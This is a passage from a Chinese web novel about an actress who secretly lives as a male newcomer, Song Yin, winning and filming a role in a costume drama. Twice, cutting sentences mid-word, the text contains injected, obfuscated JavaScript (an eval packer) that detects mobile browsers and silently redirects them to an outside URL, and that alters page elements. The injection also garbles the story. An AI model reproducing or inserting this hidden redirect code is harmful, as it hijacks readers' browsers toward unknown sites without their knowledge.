何影璐下意识抬起头，接着眼前一亮。其他人也是这个想法，除了脸色比较难看的连拾外，坐在左侧的暂定女主演白颖说：“这个看起来像李若白的样。” 连拾脸色更不好看了，女主男二男主打架，小鬼遭殃，围坐一圈的工作人员没人开口，反而殷玉莲态度很寻常，抬了抬下巴：“化妆间从那出去，先去打个底，再换套衣服，今天慢慢试。” 连拾的经纪人说：“现在就上妆试了？不太好吧？” 何影璐脑子还在转，殷玉莲冷着脸色瞥了一眼：“今天请你们来是一起试，爱看不看，我说了这部戏一定用你们了吗？” 所有人，大气不敢出。 殷玉莲这时候看了宋寅一眼，发现他虽然也没有料到这里面空间是这么的情况，但是神色很平静，没有一点大学毕业生初出茅庐的容易紧张和无措的毛病。 相反，他只是轻轻点了点头，平静地去换装化妆了，好像这里面发生了什么都和他没关系。撇去他进门时那种更明显的李若白特质，他本人的眼神，就好像很有故事的样子…… 之前被人打压过？或者跑过龙套，总之经历颇多的样子，这会成为殷玉莲选择角色的考量因素之一，但不是全部。 不是阅历越深就越会演戏了，这次试，主要还是看看，这个新人有没有让她对抗资方，和资方谈判的资本。希望她没有看走眼。 看到一言不发去试装的连拾，殷玉莲皱眉，那种对方不适合李若白这个温文尔雅角色的感觉更浓了。 化妆间很简陋，甚至没有隔断，一个化妆师摊开化妆箱，手忙脚乱的，看到他招呼他帮忙找了几罐粉底液，然后自言自语：“今天就你一个，不着急嗷，我们慢慢化。” 宋寅心想，他不着急，连拾自带了化妆师，可是殷导还能想到给他准备一个，说明他合格了，殷导还是很有希望要他的。 他垂眸，忽然说：“能把我的脸色化红润一些吗？我想要那种被风吹得微微泛红，但看不出来是病人的那种感觉。” 化妆师停住，看了他一会儿，爽快说：“行。”然后碎碎念：“你别看他们带了自己的化妆师，他们试了也没用，这部戏到最后还是要我来化，一个个都拍写真，不贴合人物有什么用？” 化完之后，她给宋寅定了个妆：“好了，在这等吧，你演过龙套吧？以前我跑剧组的时候，龙套都是等人家搭完衣服，再自己去拿，换装完再来化妆，就晚了。” 所以宋寅先来化妆，不是没经验，而是太有经验了，他知道他现在去也是在服装间等着。 宋寅明白她的意思，连拾约莫还会在服饰、配饰上这些做文章，他毕竟有一个大团队，什么都提前拿到最好的是很正常的，但宋寅有心理准备。 他只是看着镜子里自己的脸，然后在心底默默说，演过。但她不想再演了。 试镜场景在半搭完的棚里，还是宋寅试镜那段的落花回廊，但不是什么都没有了，有半截伸出来的花枝，精致的回廊，还有铺了绿布的桥底，后期会P上湖景。 但因为不出镜所以略显粗糙的木板阶梯，还有对面拿着剧本，一脸冷然的女主白颖，还是让人感受到不小考验的。 殷玉莲无所谓谁先来，看到连拾放下外套，自己上，嘴角轻轻扯了扯。 从这段来说，连拾先上确实有优势。因为这段是他上部爆火的男配角色相类似的高光片段。李若白身受重伤，不想女主来，但他站得远远的，望着白雪覆盖新梅，既不希望，又等女主来时，他第一眼看到她。 和他们多年前初遇那样。 当年春若桃花，如今新梅映雪，他也是这个冬天中即将被掩埋的腐朽躯体之一，但是女主云浅衾的到来，仍然让他焕发出不一样的生机活力。 编剧何燕曾经和殷玉莲说过，这段可以看作剧本里李若白这个角色的回光返照，因为在这里，他的人生再也没有残缺了。这是李若白自己都承认的圆满，所以这段好演也不好演。 毫无疑问，连拾再次犯了低级错误，他一上场，白颖就忍了忍，李若白是深受重创，但是他是秦家军的主心骨之一，他受伤的消息是被瞒得好好的，他想女主来，也不会希望女主看到他孱弱的样子。 那你化得那么明显的苍白是想干什么？ 好，这是想借这个镜头暗示李若白命不久矣，他能忍，但是接下来连拾的台词： “我没想到你会来，能在这里看见你，看来的确是我之幸了。” 这是很含蓄，很符合李若白人设的两句台词，可是连拾念的重音不明、语意粘连也就罢了，为什么他念完，要“深情”地看着她？ 女主不是你表现深情的工具好吗！而且这时候你又忘了他身受重创了！一边用设定告诉观众他背负重任，一边演都懒得演李若白的掩饰？ 好在这时连拾低头咳嗽了两声，白颖也按捺住不耐，勉强进入情绪：“当年我明明说过，若你不愿，可以来找我，我可以助你。” 李若白的命运不是他必须背负的，他甚至渴望过云浅衾把他拉出泥潭，可是最后，他还是选择了襄助秦家军，最后走向那个必死的结局。 为什么呢？这是云浅衾的不解，也是李若白重伤催化出来的他们对话的重要时刻，白颖表达出来了，宋寅发现，同咖位的男女演员，女性演员的演技确实细腻和言之有物许多。 连拾再次刻板地苦笑下，接着他用他被市场认可过的（那个男配）的演技，虚弱又深情款款地说：“浅衾，何必如此，你我都知，我们不欠彼此什么。” 何燕看不下去了，她侧头和副编剧说，要是连拾演，这句台词得改，副编剧点了点头。 其他人还没觉得连拾演的有什么问题。其实客观来说，连拾在古偶里的演技还是能看的，不然也不能爆火，包括他演深情，也是你能看出来，而且勉强能看出来，能接受的。 不像其他小生，那么难以下咽。 但是太没深度了。 殷玉莲淡淡说：“宋寅来吧。” 连拾披上外套，看了这个和他一样妆造，但是单薄简朴了许多的“李若白”一眼，忽然点了个头。 宋寅没有任何受宠若惊，淡淡颔首。 站到回廊那，所有人敏锐地发现，刚刚那个低调的，有点像李若白的青年，气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这样真诚的情绪才是自然的，可以让部分剧粉嗑上，也不至于让男女主党大骂女主脚踏两条船，因为这里两个人的情绪都很精准。 因为如果不精准，就不会有，他明明是爱你的，你也珍惜他，但就是不爱他这个感觉。 李若白的发丝被轻轻吹起，他似乎想要咳嗽，但喉头微滚，忍住了。名动天下的军师，就是连这点小事，都会面面俱全注意到。 为了掩饰，他甚至轻轻笑着偏头，声音轻哑：“浅衾何必如此？”又一个和连拾重音不一样的地方，这句话他说得云淡风轻，好像一句玩笑。 “你我都知，”宋寅每个停顿都很符合人物思考、措辞的习惯，对性格的塑造更加立体了，“我们不欠彼此什么。” 他口口声声都说着，不必谈这些，可是含笑的眼睛，在风过后，慢慢渗出一些不舍，一些怀念。和第一次试戏时那样，他掩饰得很好，没让她知道。 她说照顾好身体，他还俏皮地轻笑两声，张开手。这是剧本里不曾有的，但是没有人想起来，白颖也接住了，她面露诧异，好像一瞬间窥到李若白在想些什么，她在犹豫，对方突然这么主动，是不是真的对她…… 李若白却不是为了拥抱她，他接住一片雪，这也是场景里没有，需要演员用互动去丰富的。殷玉莲明白他加这个动作的含义了。 李若白弯着眼睛，笑着说：“你瞧。雪都是会化的。” 云浅衾以为这句话是宽慰，他会和秦家军一起回来的。但李若白是在对她告别。雪化的时候，他也会去梦里，春暖花开的回廊下，见她。 多可惜。是他先来。 5. 第 5 章 宋寅演完，现场有一种窒息般的沉默，程梦注意到春天在这种室内，穿大氅还是有点热的，忙走过去帮宋寅接了那身大氅，得到对方一声很低的谢谢后，她悄悄给他比了个大拇指。 虽然一开始就对这剧男主的演技没有期望，但如果宋寅演了李若白，她也能期待一下吧？ 程梦的心理活动给宋寅带来了加2的可信度，和“演技好”的可信度偏向，但是盛蹊看到接近50的可信度，并没有心情关注试戏的结果了，她走到导演面前，对她鞠了一躬。 宋寅：“对不起导演，我家里忽然有点急事。”他微微直起身，吸了一口气，那双沉静且显得深邃的眸子里满满都是对这个角色的执着：“如果您选择我，我一定会竭尽全力把这部戏演好的。” 说完，他竟然也不等殷玉莲的反应，只顾得上对其他人点头表示歉意，然后就匆匆去换装了。 本来其他人都觉得这个角色的事儿是要扯一会儿皮了，主角之一忽然走了，大家都愣了愣，之前胸有成竹的那个人皱了皱眉：“这也太浮躁了。” 殷玉莲看他一眼：“演戏是看本人浮不浮躁吗？” 对方理亏，没有吭声。 宋寅则是快步走回到他之前化妆的地方，没多久，他的头开始晕眩，跟来想帮忙的程梦看见，吓了一跳，放下大氅下意识来扶他：“宋先生，你怎么了？” 宋寅的手指瘦削而有力，此刻正握着椅背，但他轻轻拒绝了她的搀扶，轻声说：“我朋友出事了，请问你能帮我叫个车吗？” 他的呼吸开始急促，神色也变成了真正的苍白：“越快越好。” “好，好，请问地址是？” 宋寅眼神晦暗，报出了一串地址。程梦知道他们这里不好找，也怕宋寅现在没力气了，她感觉宋寅有点像是身体不好加上情绪波动的症状，怕他那朋友真的出了什么大事，见到司机才匆匆回来，回来的时候，宋寅已经晕倒在化妆台旁边。 化妆师在紧张地推人：“你没事吧？” …… 盛蹊从摇晃中睁开了眼，看到满脸焦心和怒火的宁露姐，还有点恍惚，感觉已经分不清马甲切换的视角了，但是宁露压着火气：“你怎么还敢在在家里都关机！” 盛蹊下意识去摸手机，声音微哑：“是又出什么事了吗？” 宁露没好气瞪她一眼：“没有，还有人加热，总之一直下不去，我还在着急上火，见打不通电话还以为你……” 盛蹊也没想到她自己会被宁露姐推“醒”，以前为了工作方便，她家里钥匙宁露姐和助理都是有的，出了这种事，她也以为宁露姐不会再管她了。 “对不起，露姐，我想到现在找我的多半都是和那件事有关，不想看就关机了，至于我在家……可能是低血糖了吧。” 她在宋寅身体里，自己就怎么叫都叫不醒，刚刚会匆匆离开也是因为收到了提醒，如果不离开就会被强制唤醒，到时候事态就不受她控制了，只希望宋寅那边不要太糟糕。 盛蹊现在才意识到马甲视角切换不了的弊处，他现在完全不知道那边发生了什么。宋寅出了意外，她原本很大可能能拿到的角色，会再次丢掉吗…… 她无意识摩挲着手机边缘，宁露却已经把地上的塑料袋提起来，骂得更加来气：“知道自己低血糖还敢关机，把这些吃了，待会儿我找货拉拉帮你搬个家，这里不能住了，有狗仔把你的住处曝光了。” 盛蹊声音还很哑，但意识已经很清醒了：“一条娱乐新闻，他们至于吗？” 宁露转头看她，眼神里竟然带点愤慨和悲哀：“至于的，你以为女星最怕的是什么？不就是桃色新闻吗？何况你沾上的还是个爆了的顶流。” 宁露在那碎碎念，盛蹊的手按在自己的床上，摸到床单，眼睫垂了垂，心里仍然在回味沉浸在李若白这个角色里那种感觉。 不会被人打断，不会被莫名其妙的搭档干扰，不会听到戏外人员无所谓的闲聊。 这就是主角的世界。她是重要的，所有人都在看她演戏。一瞬间，她想和宁露姐说她想回去，宋寅的世界才是她最想要的。 但是她还是保持了基本的理智，给宁露姐看了开了的手机，说了几句后，她把宁露姐送出去，拒绝了搬家。 宁露气得再三说她不要出门，外卖也别点了，现在狗仔可黑了，谁知道会不会装成外卖员进来，才走。 一关上门，盛蹊就迫不及待回到自己房间里，要切换回宋寅的时候，她顿了顿，还是看了眼马甲系统。 今天这种情况太被动了，她想看看系统有没有什么解决方法。 但是宋寅那再次发来被唤醒提醒，看来如果一个身份被其他人发现无故昏迷，或者有人反复呼唤，就像她之前有消息也被提醒了一样，系统是会强制她回归的。 没办法，盛蹊先闭眼，变成宋寅睁开。 不出她所料，程梦没有把他送去她家里，只是带他来了医院，而且手里拿着一大堆单子，看样子很焦心的样子，看到他醒了，她眼睛亮了一下。 注意到男人的视线，她举起单子：“殷导报销了的，你放心，送你来也是剧组的安排，我……”她犹豫了一下，眼神闪烁：“我还没和殷导和剧组说。” 她已经意识到了，他好像很喜欢演戏，而且这个角色对他很重要，否则他不会身体这么差的情况下还跑来两次面试。 而且当时第一次试镜是她带他去的，试镜出来的时候，她清楚看到他嘴角动了一下，那时候她还以为他是喜极而泣，今天检查完…… 程梦有些同情他，小声：“医生说你应该好好休息。” 不用她说，宋寅都已经看到了自己可信度上面的可信度偏向，就这么几个小时，他多了很多个标签，可信度最高也是颜色最深的是：体弱。 他也看了那些单子，因为剧组的人都很担心，但都是善意的，这些病的设定并不严重，同时也因为他们可能是司空见惯，低血糖、营养不良和疲劳、长期熬夜叠加在一起，竟然没让他们觉得丝毫不对。 宋寅轻轻地放下那些单子：“谢谢。” 程梦：“我也想办法联系你的朋友了，可是，你的手机没法解锁……”通话记录进去，竟然是一家青年旅舍的订号电话，对方倒是很着急，表示她可以过来一趟，但程梦代入打工人心态还是拒绝了，听到他是一个人住青旅，她也有点心疼。 宋寅看起来长相不错的，竟然这么惨…… 她咬咬牙：“如果你想演这部戏的话，我劝你还是把病瞒一下，说说贫血就好了，不然剧组工作强度大，殷导考虑工作进度可能会……”她声音渐渐小了：“会不用你的。” 其实她主动在这边陪护了，也不知道那边结果怎么样了，但她真心实意地盼望宋寅能演上，好歹，让他能吃得起饭，住得起酒店啊。 看到程梦脑补导致的自己贫穷buff，盛蹊其实没有什么特别的感受，这个身份对她最大的意义就是可以演戏了，除此之外，她其实也没余力关心了。 “谢谢。”他好像经常说这句话，然后拿过手机，看了一眼，才说：“我朋友给我回了，她那里已经没事了，今天麻烦你了。” 程梦看他要起身，也倏地站起来，然后结结巴巴：“不，不客气。”她小声：“住院费已经付了一天的，要不要我再垫……” 宋寅看着她，他很清楚如果他说他已经好了，程梦可能会继续觉得，天啊，他太惨了，住院都住不起了，导致他的贫穷人设继续加深，但他现在也没什么力气动了。 宋寅病弱这个人设好像深入人心。 他想了一会儿，然后说：“我朋友会来照顾我的，我已经和她发了消息，谢谢你。今天不是你，我可能就倒在片场了。” 程梦没有说更多，留下了单子和她买的一份饭，然后离开的时候鼓足勇气：“你会是个好演员的。”其实她更想说你今天演得真好，但嘴笨，回去坐地铁还在一边埋怨自己。 宋寅一个人坐在病床边缘，他走到厕所那，看着镜子里自己苍白瘦削的脸，忽然有一种奇异的感觉。好演员吗？那也是和这副容貌结合起来的。 她居然会真心实意想偷窃另一个人的人生。系统绑定她的时候说了选取执念最重的场景，果然她最忘不掉的，还是演戏的那种感觉啊。 宋寅低头，洗了把脸清醒一下，缓慢走回到病房前，脚步忽然顿住。戴着口罩的连拾和他经纪人站在那，经纪人面色看起来很不好看，连拾则是在翻看那些检查单。 很没礼貌。 宋寅垂了下眸，走到病房门口，两个人都发现了他，经纪人刚想说话，连拾拦住他，然后让他把门关上。 “李若白定了你。”连拾看他一会儿：“你好像一点都不惊讶。” 宋寅看着很温柔，声音也很沙哑，语气一点都不：“我应该惊讶吗？” 他对自己的演技很有自信，可与此同时，争取角色的姿态又很低，在此之前没有演过其他角色啊，那就不是在娱乐圈被人打压的了。 连拾决定和他结个善缘：“公司劝我争，但是我觉得，由你来饰演那个角色可能更好，而且，我很看好你。” 宋寅沉默地看着他。他是觉得自己把角色让给了他吗？也对，换在任何一部戏里，可能都是这样，选角还真不是选戏最好的。 但他依然沉默。他太累了，另一方面，他并不想搅进与演戏无关的另外一些事里。 连拾好像对他很感兴趣：“你想签公司吗？” 经纪人很不耐烦地站在那，听到这终于抬下头，没料到宋寅的回答让他脸更黑了：“不。” 他忍了又忍，本来想说连拾亲自来，还冒着被曝光的风险已经是给他脸了，这个角色也不一定就是他的，他现在还想拒绝他们公司的招揽…… 连拾无可无不可地点下头：“我在的群星，你可以考虑考虑。” 他没说太多，准备走了，可要拉开病房门的时候，宋寅说：“签了你们，然后帮着你们剪掉重要配角的戏吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085391|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 盛蹊和连拾没有恩怨，但和他的公司有。 连拾回过头。 宋寅：“我只是想好好演戏。” 经纪人怒了：“你别给脸不要脸……” 连拾：“你是为谁说话？” 被剪甚至被恶剪，在娱乐圈这样的事很多，他甚至不知道他说的是谁，但这不妨碍连拾接下来想给公司辩解，无非是，那些都是小概率事件，你这样的演技肯定不会被这样对待云云。 宋寅说：“我不为任何人说话，我永远不会签群星的。”他把被风吹到地上的检查单捡起来，轻声：“你可以走了。” 连拾的眼底都冷了。住院费都交不起，只能交个一天，穷到营养不良。还坚持所谓骨气。无所谓，一个男配而已。他还有其他无数部戏，他，能有吗？ 连拾走了，宋寅捋平那些检查单，有一瞬间觉得那时她之前拍被恶剪那部戏时的通告单，厚厚一摞，但份量又轻得可怜，他想找殷玉莲导演打个电话。 和知道自己掉剧时一样再争取下，虽然已经定了，但他不清楚连拾那边，是否会再做什么，但是打开手机，看到一条新短信。 “病怎么样了？三天后到剧组报道没问题吧？”然后是一条微信申请，殷玉莲导演的。 宋寅捂住眼睛。 披了衣服匆匆赶来的徐可欣站在病房门外，犹豫地放下手。她不知道自己为什么会来，最终说服自己还是这毕竟是客人，出事了就糟了才来的。 可看到他捂住眼睛弯腰这一幕，还是觉得，他真的好喜欢演戏啊。明明都在片场晕倒了。 宋寅平复了下情绪，转过身，徐可欣敲门进来了，举起双手表示他那个房自动续了，她是来确认的，但是看到来提醒他，明天住院费要交的护士，有些哑口无言。 宋寅只能哑声说：“我明天给你。” 徐可欣：我真的不是来要房费的啊！再说了，一天青旅能多少钱。 她很犹豫，试探问：“你的朋友……” 程梦打电话的时候焦急说过几句，还问她知不知道宋寅的朋友住哪，所以她猜测宋寅这应该是有朋友来看的，她只是没想到，一个人都没有。 宋寅说：“她有点事。” 徐可欣有点尴尬，在这，说啥呢？但是看到他这样直接走了好像又有点无情，最重要的是，她真没见过这么穷的人啊，还这么惨。 徐可欣：“要不我把房间给你退了……” 宋寅身上的病不会一瞬间就好，至少要其他人都认为他好了，才会痊愈，但他还是起身：“我去办理出院吧。” 徐可欣无语凝噎了：真是狠人啊！她离开医院的时候一步三回头，因为不是很远，就打了个车，不然她也不能过来。 徐可欣有点懊恼自己的冲动了，上车的时候开始刷手机，刷到一半，宋寅说：“她没有这么做。” 徐可欣愣了一下，往后看，都怀疑宋寅是不是在和自己说话，宋寅好像才发现她没有把视频看进去：“抱歉。” 徐可欣现在都觉得自己想回去刷他说的是哪个视频都有点不礼貌了，可恶啊，这帅哥不会真在娱乐圈有人脉吧，还知道真瓜假瓜？ 但他多少是病人，她没追问，到了青旅，宋寅说：“谢谢，青旅我想再续两天。”他切换回去就可以转钱给这个身份了。虽然她自己也没多少钱。 “哦哦没事，你好好休息。”徐可欣尴尬地想赶紧回自己家去。 宋寅说：“《惊梦》里演徐佳梦的，就是我的朋友。” 徐可欣尝试回忆，但她一点印象没有，只能挠头尴尬：“哦，哈哈，这样啊。” 宋寅回到自己房间。 他没去看可信度偏向，只是打开马甲系统。 上面显示：【马甲可信度达到2400后，马甲可维持时间达短暂阶段，为维持人设稳定性，可单向屏蔽本体周围存在干扰（注意，只可屏蔽短暂时间，即24小时）。】 有了这个人设稳定性，他就可以短暂屏蔽本体了，谁才是本体，他不想管。他只想好好地演完这部戏。 第二天一起来，他碰到徐可欣，对方目光激动，而且一看到他就站起来了，很明显是在等他。 “我昨天熬夜看了徐佳梦的cut，发现她演技真的好灵动啊！而且人设好好，你说她是你朋友，那……” 宋寅：“我可以帮你问问。” 徐可欣明显意犹未尽，想和他聊更多，看他不想说了，才闭嘴，但她看着他的背影，总觉得有些疑惑：怎么觉得他不像昨天晚上那样，想让她去看看他朋友的戏了呢？ 评价来得太迟，宋寅都不知道自己是不是怀疑，徐可欣只是为了安慰他，但是这都已经不重要了。 他去影视城附近转了一圈，回来的时候没有提签名，徐可欣也就没有问，第三天，他进组《春江花月夜》了，主演阵容还是和他那天看到的一样，女主白颖，男主周宇。 不同的是，连拾掉饼的事已经传出来了。 6. 第 6 章 宋寅对连拾会把自己被换角一事发出来早有预料，但是他没想到他会把自己的履历、照片等全都发出来。 还好连拾打算曝光他的时候，殷玉莲、程梦等对他的人设已经有个固定印象，否则以连拾充满恶意的揣测角度，宋寅的人设还不知会怎么样。 但不知道是他可信度倾向里的“可怜”“演技好”发挥了作用，还是连拾团队的风格本就不值得信任，他的演技也还没有好到路人下场帮他撕饼的程度，所以营销号一发出去，评论反馈基本就是： 【就这？】 【去看了眼小哥的简历，舞蹈系毕业，没有过演戏经历，而且还不是什么有后台的人，这被换角很正常啊，连拾不会觉得他试镜了就该是他的吧】 【讲个笑话，yxh刚发出来的时候我以为这新人角色被连拾换了呢（捧腹大笑）】 娱乐圈本来就偏宽容新人，连拾爆火之后也没有能好好稳固住自己的路人盘，他不是打算这第二部男配戏再扩大一下影响力吗，路人一出马，他的粉丝立刻闭麦了。 团队有些恼火，但是也没有办法，这毕竟是殷玉莲的剧，制作权发行权都不在他们这，塞进去一个周宇就塞进去一个周宇吧，反正男配演技好对剧本身来说也不是坏事儿。 这事儿就这么压下来了，宋寅本来还计划好了发博澄清挨骂这一系列流程，看到风雨轻轻揭过的时间还有些怔愣，不过他很清楚这是因为剧本身还没孵化，角色加成没有凸现出来罢了。 单论剧本来说，任玉这个人设确实比单薄的温柔病弱男配更出彩，可是谁更出彩一向都是看对比的，而周宇的演技，如他吗？ 第一天在剧组，宋寅度过了平平无奇试妆定妆的一个阶段，前面有两位主演在，他倒是不着急，之前化他的那个化妆师也开始和他说话了，态度没有多大变化，但明显和之前不一样，把他当自己人了。 “你看到那些群演没？唉，天马上就更热了，他们就得先把棚外戏给拍完了，不然还要加高温补贴，又不一定能到他们那，到时候能多买几个电风扇都是好的，殷导剧组还是比较安心的，没那么多事儿。” 宋寅知道，因为她以前拍戏的时候，跑过没有名字的配角一二三，比群演稍好点，但是出戏和龙套一起，当时天冷，一群人排排蹲坐在片场外面，不能进去，因为很多戏要清场，好多群演戴着手套也生冻疮。 宋寅没有雇助理，他咖位还不到，但是下戏的时候他请程梦帮他了一个忙：“这里是六百块钱，你帮我买一点降温贴，发给那些群演吧。” 程梦很诧异地看着他，那模样明显是，你自己都没钱，还在这发降温贴？天也没有热到要用降温贴的地步吧，而且他没钱住院的印象还在她脑海里深入人心。 宋寅没有多解释，他清楚就自己这个男配的地位，就算做了什么也不可能被传扬出去，买降温贴纯粹是因为她和周宇搭过戏，知道他有多磨蹭，调度未必能想到这一层，等天热了再去买，就涨价了。 程梦还是帮他了，回来的时候特地把剩下几片给他，然后嘱咐说：“我悄悄给的，让他们戏散完再说，主演都没买啥呢。”一个男配在这种时候出头，不是什么好事。 宋寅只是点头。 程梦没忍住还是问：“你人还挺好的哈。”看得出来她很有疑虑，但是可信度已经到了一定地步，她一个人的怀疑不太能动摇宋寅整个人设的基础了。 宋寅说：“我有朋友冬天拍戏的时候冻晕过去过。”宁露姐一直以为她那次是低血糖，可是没有经纪人看顾着的小配角就是那样的，她甚至没像那些龙套那样跑过，所以更不扛冻，当时醒了还有人嘀咕说，这些人也挨不住冻啊，怎么她们就有台词。 盛蹊可能只是觉得自己更像是那些等片约的龙套吧。 宋寅的戏份不多，大多要和女主、男配搭戏，所以他也不是每天都要上妆的，但他依然每天都会来，想感受一下片场的气氛，这天没到多久，系统就提醒他，可信度不够用了。 她并不会一直做宋寅，回到青旅时会切换回盛蹊的身份，吃饭喝水，但其余时间都在宋寅这，她有时候会觉得，本体就这样闲着也挺不错，明明她有很多部戏都是这样没工作的时候自己去自荐过来的，但现在盛蹊彻底闭门不出了。 但因为他在剧组接触的人也不多，可信度是注定会被消耗些的，宋寅看了看头顶的10可信度，站起身来，场工刚好过来：“宋老师，帮个忙，一场那暂时不拍了，我们去把您后天排的戏给拍了？” 这种情况在剧组是比较少的，因为每镜每场的布景是不一样的，搭建景准备道具也很耗费人力物力，所以一般不会改通告单，但通告单宋寅很早就看过了，这一场应该是周宇的戏。 他出幺蛾子了？宋寅这么想着，点头，场工呼了一口气，又忙道：“您先准备着，我去找他们拿剧本服装来。”宋寅知道这是给他时间背台词，但他根本不用背。 拿到李若白剧本的那一天，他把所有场所有镜头都看了，也写了人物小传，在剧组转的时候，他眼中的精品，常被他和人物反应结合在一起。 周宇不珍惜男主的这个机会，宋寅只会演得比当初试镜时的李若白还好。但周宇没留下来，他可能是轧戏了，也可能是赶了别的通告没有和导演说，也可能是单纯耍大牌，这些宋寅都不关心。 化完妆的那一瞬间，化妆师轻轻地把刷子收起来，她看得出来，宋寅进状态了。 殷玉莲在监视器后面，神色喜怒不辨，等到宋寅走到补光板中间，她神色才终于好一些，开口说：“白颖，你在镜头外给宋寅搭个戏。” 白颖眸中露出一丝意外，这还是殷导第一次开口让她给一个配角搭戏，不过她看了一眼宋寅，心里清楚，殷导不让她不给周宇搭是因为搭了他也接不住，换成这个男配，白颖一顿，还是起身。 宋寅和她打了个招呼，因为还在李若白的状态里，他的眼神竟然都有几分说不清的意味，但因为他还有基本的礼貌，所以只是相接了一眼，就垂下来了。 也是这一眼，白颖知道自己该给怎样的状态了。 周宇在保姆车上烦躁问：“交涉得怎么样？还没处理好吗？”他和剧组闹矛盾的原因并不像宋寅想的那样，在大导剧组里他还是有脑的，尤其是殷导这种捧红过过气男艺人和二三线的当红导演。 但是他自己带了编剧进组，想把两个剧情逻辑更顺畅的高光转移到男主身上，这样也有利于剧组招揽粉丝不是，可是编剧团队好像不知道现在是男色经济，坚决不同意，团队支持下，周宇就算温和罢演了。 其实他本来也没有多少好情绪，连拾是他带进组的，虽然不是一个公司，但也都换好了置换资源，现在说不让他进了，没面子的是他们这边。 而且那个新人的演技，也让他很膈应…… 助理拿着东西上车，小心地说：“没交涉，那边开拍了。”周宇的脸彻底难看下来了。 这场其实是李若白后期的重头戏，是李若白和女主的第一次冲突，也是在这里，云浅衾彻底发现，她和李若白是不同的，尽管他们之前心有灵犀，表现得很有默契，但是道不同就是不相为谋，她是不可能改变自己的观念去帮助李若白夺取权力的，李若白也不可能为了她放下世家之仇。 她是孑然一身的云浅衾。可李若白却是世家气度，钟鸣鼎食中供养出来的李若白，他不是她真正心悦的人。 所以在这里，云浅衾只是遗憾告别，但李若白一个真正聪慧灵秀之人，他不会看不出来云浅衾隐晦的疏远的，他也不会不知道云浅衾的自由洒脱背后代表着什么。 宋寅在看剧本的时候曾经留下过一句话，编剧后来看到了，这也是她提议先拍这场的原因。 何燕轻声说：“他说，李若白和云浅衾就像是这个封建王朝的马文才与祝英台。” 祝英台潇洒吗？潇洒，自由吗，自由也不自由，可是云浅衾是不同的，她在这本小说里是这个时代穿越过去的灵魂，她是不可能像祝英台一样被封建礼教束缚的，这本书里被献祭被困住的反而是李若白自己。 殷玉莲当时有点诧异。李若白和云浅衾的分歧本质是阶级上的分级，宋寅居然能懂，这让她对宋寅的演绎产生了好奇，也是她最终把宋寅叫过来的原因。 但她还是说：“理解了不代表能演出来。” 何燕笑笑，知道这位好友的口是心非：“那至少也要先理解。”她又想起这个圈子里的现状，叹气，至少这个剧组里，她还没看到几个能理解的。 让白颖搭戏，是因为这个第一拍的特写镜头，是云浅衾走了，李若白还站在原地回忆她说的话，白颖起的就是话外提示他回忆到哪句话的作用。 “……可是这是不一样的。”画外音中，云浅衾试图向李若白讲清，她所想要的太平盛世，不是世家高坐楼台，与皇帝共治天下，不是权贵的太平，是所有人，都能安居乐业，衣食无忧。 李若白好像没有理解：“可是你所在的云州城不就已经做到这一点了吗？”这也是他在前几刻前回答她的话，宋寅要做的就是在几分钟之内把这个情绪顺下去。 他说云州城人人有蚕可养，有布可织，云州锦很快便能名扬天下。 “可是这是不够的。” 第二句。 云浅衾发现了：“我好像没法和你说明，可是在我的梦里，我真的见过那样的世界，没有人是不一样的，每个人都有平等的权利。” 镜头开始了。这是一个近距离特写镜头，近到能看到宋寅整张脸，他的妆发没有被全包进去的时候，表情不到位很容易被认为是现代人，毕竟现在很多古装戏的妆都现代化了。 但是监视器后的人发现宋寅没有暴露出这一点，摄像机没有拍到他的发髻，他的大氅，可是你仍然能看出他是个古代人。 你能看出他的端庄，他的温文尔雅，他和古人一样含蓄典雅的气度，可是更抓人的反而是他那双轻轻显露悲哀和轻笑的眼睛。 很奇怪，很多人都是第一次发现，这两个情绪竟然可以同时出现在一个人身上。 他轻轻重复那句他和云浅衾诀别时说过的话：“可是对我来说，就是不一样的。” 他并非不懂，云浅衾有一个更为宏大的理想，他并非不为云浅衾的自由肆意而心动，如果他不认可云浅衾的挣扎奋力突破重围，他为何要和她一起同行，为何要和她一起帮助百姓置业，为何要事事都听从她的理念？ 如果他不懂，他就会和那些愚蠢的轻慢的世家公子哥儿一样，喜欢的是云浅衾的特立独行，而不是把她真正当做一个独立的人来看，把她灵魂的闪光，当成他最心动的特点。 他就会和其他剧里平庸的其他男配一样，直到男女主都两情相悦了，还在一直追问，我到底是哪里不好。 并非是谁有哪里不好，她才有权力不去喜欢那人，也并非是任玉太好了。他比谁都明白，是他自己抛弃了光辉的前景，奔赴迟早会崩塌的黑暗。 包括前面试镜那段，她来问他需不需要帮忙，也是对友人的关爱，却不是对同行者的推心置腹了。 但他怎么可能背叛呢。他不是任玉那样被整个世家辜负到彻底的人，世家对他们来说只是两个字，对他却是他的父母叔侄，姐妹兄弟。 他出生的李家，光是嫡系便有一百七十三口，下面依附着无数的旁支，他难道不知道自己享用的是民脂民膏吗？ 云浅衾戳破了这层窗户纸，但是她仍然愿意信任他，她还是伸出了邀请他同行的那只手，但是，不一样啊。 李若白说完这句就长长久久地站在那里，他的眼睫遮住了他眼底的思绪，可是宋寅演绎的那种周身的沉郁和悲凉，并不会让这段的情绪传达有所障碍。 相反，导演殷玉莲很明白他在这里为什么垂眸，遮住了自己这双眼睛。李若白为什么不愿意直视想象中云浅衾那双眼睛。 他为他自己感到羞愧，他无颜去面对他曾经动容执着过的灵魂，所以李若白这个人物在后期下线的时候是有人物高光的，他坚持的信念并不对，但他其实也是为殉道而死，他不能眼睁睁看着自己亲族被倾覆，可也没有阻止自己的死亡。 